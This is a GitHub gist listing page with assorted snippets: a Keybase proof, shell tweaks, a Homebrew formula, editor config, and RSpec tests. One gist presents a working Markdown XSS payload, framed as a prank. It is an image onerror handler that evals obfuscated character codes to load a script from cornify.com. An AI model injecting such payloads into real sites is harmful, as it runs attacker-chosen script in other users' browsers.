Skip to content

Instantly share code, notes, and snippets.

Keybase proof

I hereby claim:

  • I am rgo on github.
  • I am leptom (https://keybase.io/leptom) on keybase.
  • I have a public key ASB3hSxcjcD2PAGIEJjhBcj9F67TfK5nUJugpC_A0kQqRAo

To claim this, I am signing this object:

@rgo
rgo / change_dpi_gnome_shell.sh
Created February 22, 2018 11:07
Change DPI in gnome-shell
gsettings set org.gnome.desktop.interface text-scaling-factor 1.2188
xrdb -q | grep dpi
./darktable-cli ~/Pictures/dt-test/bench.SRW test.jpg --core -d perf -d opencl
(process:48734): Gtk-WARNING **: Locale not supported by C library.
Using the fallback 'C' locale.
[opencl_init] opencl related configuration options:
[opencl_init]
[opencl_init] opencl: 1
[opencl_init] opencl_library: ''
[opencl_init] opencl_memory_requirement: 768
[opencl_init] opencl_memory_headroom: 300
@rgo
rgo / kernel_module.sh
Created November 4, 2017 22:34 — forked from probonopd/kernel_module.sh
Trying to compile kernel module for Ralink 3070 chipset
#
# Trying to compile kernel module for Ralink 3070 chipset
# with patch described on
# http://www.geekamole.com/2013/rt2800usb-fix-for-ralinkmediatek-3070-gentoo-linux/
#
apt-get install linux-headers-3.7-trunk-686-pae # This is on Kali Linux; 3 MB
apt-get install linux-source-3.7 # http://ftp.halifax.rwth-aachen.de/kali/pool/main/l/linux-kali/linux-source-3.7_3.7.2-0+kali8_all.deb # 82 MB
tar xfj /usr/src/linux-source-3.7.tar.bz2
cd linux-*
@rgo
rgo / darktable.rb
Last active May 5, 2017 13:18
Darktable homebrew formula
class Darktable < Formula
desc 'Photography workflow application and raw developer'
homepage 'https://www.darktable.org/'
url 'https://github.com/darktable-org/darktable/releases/download/release-2.2.4/darktable-2.2.4.tar.xz'
version '2.2.4'
sha256 'bd5445d6b81fc3288fb07362870e24bb0b5378cacad2c6e6602e32de676bf9d8'
needs :openmp
depends_on 'cmake' => :build
@rgo
rgo / gist:7e1847d7c10ee43fa5de012d5a268a48
Created September 22, 2016 11:54 — forked from sgergely/gist:3793166
Midnight Commander Keyboard Shortcuts for Mac OSX
----- Esc -----
Quick change directory: Esc + c
Quick change directory history: Esc + c and then Esc + h
Quick change directory previous entry: Esc + c and then Esc + p
Command line history: Esc + h
Command line previous command: Esc + p
View change: Esc + t (each time you do this shortcut a new directory view will appear)
Print current working directory in command line: Esc + a
Switch between background command line and MC: Ctrl + o
Search/Go to directory in active panel: Esc + s / Ctrl + s then start typing directory name
@rgo
rgo / .vimrc
Created September 22, 2016 10:46 — forked from fxn/.vimrc
function! s:EnableRelativeNumber()
set nonumber
set relativenumber
endfunction
function! s:DisableRelativeNumber()
set norelativenumber
set number
endfunction
describe 'Game of life w/o primitives and one dot per line' do
let(:live_cell) { LiveCell.new }
let(:dead_cell) { DeadCell.new }
context 'live cell' do
it 'dies with less than 2 neighbours' do
alive_cells = Neighbours.new(LiveCell.new)
expect(live_cell.next(alive_cells)).to be_a_kind_of DeadCell
end

Want to add Cornify (http://www.cornify.com/) to a website that has a Markdown XSS exploit?

![uh](http://example.com"onerror="javascript:eval\(String\.fromCharCode\(118,97,114,32,115,61,100,111,99,117,109,101,110,116,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,39,104,116,116,112,58,47,47,119,119,119,46,99,111,114,110,105,102,121,46,99,111,109,47,106,115,47,99,111,114,110,105,102,121,46,106,115,39,59,100,111,99,117,109,101,110,116,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,32,115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,32,99,111,114,110,105,102,121,95,97,100,100,40,41,32,125,44,32,49,48,48,48,41,59\)\))

The above code does this:

var s=document.createElement('script'); s.src='http://www.cornify.com/js/cornify.js';document.getElementsByTagName('head')[0].append

@rgo
rgo / remove_all_my_gems.sh
Last active August 29, 2015 13:57
One liner script to remove all my gems
# Remove all my gems
# From http://geekystuff.net/2009/01/14/remove-all-ruby-gems/
gem list | cut -d" " -f1 | xargs gem uninstall -aIx